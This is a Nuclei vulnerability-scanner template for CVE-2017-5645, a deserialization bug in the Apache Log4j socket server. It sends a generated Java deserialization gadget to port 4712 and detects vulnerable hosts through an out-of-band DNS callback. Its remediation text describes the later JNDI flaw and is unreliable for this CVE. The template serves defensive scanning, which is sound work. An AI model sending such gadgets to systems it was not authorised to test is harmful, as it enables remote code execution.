CVE-2017-5645: Apache Log4j Server - Deserialization Command Execution

id: CVE-2017-5645

info:
  name: Apache Log4j Server - Deserialization Command Execution
  author: princechaddha
  severity: critical
  description: |
    In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.
  impact: |
    Successful exploitation of this vulnerability could allow remote attackers to execute arbitrary commands on the affected server.
  remediation: |
    Consider updating to Log4j 2.15.0 or a newer version, deactivating JNDI lookups, or implementing a Java Agent to safeguard against potentially harmful JNDI lookups.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5645
    - http://www.openwall.com/lists/oss-security/2019/12/19/2
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
    - http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-5645
    cwe-id: CWE-502
    epss-score: 0.94013
    epss-percentile: 0.99889
    cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: log4j
  tags: cve,cve2017,network,vulhub,apache,log4j,rce,deserialization,oast,tcp

variables:
  end: "\r\n"
tcp:
  - host:
      - "{{Hostname}}"
      - "{{Host}}:4712"

    inputs:
      - data: "{{generate_java_gadget('dns', 'http://{{interactsh-url}}', 'hex')+concat(end)}}"

    read-size: 100
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns
# digest: 4a0a0047304502206b388ac8111f0b0a1c7e6c4ed1d02112886049f769a98fe19466664d4f347c59022100b9d23bf045b0013f11c42fa78c86afee18ae709176d428a2bed44e22028f739a:922c64590222798bb761d5b6d8e72950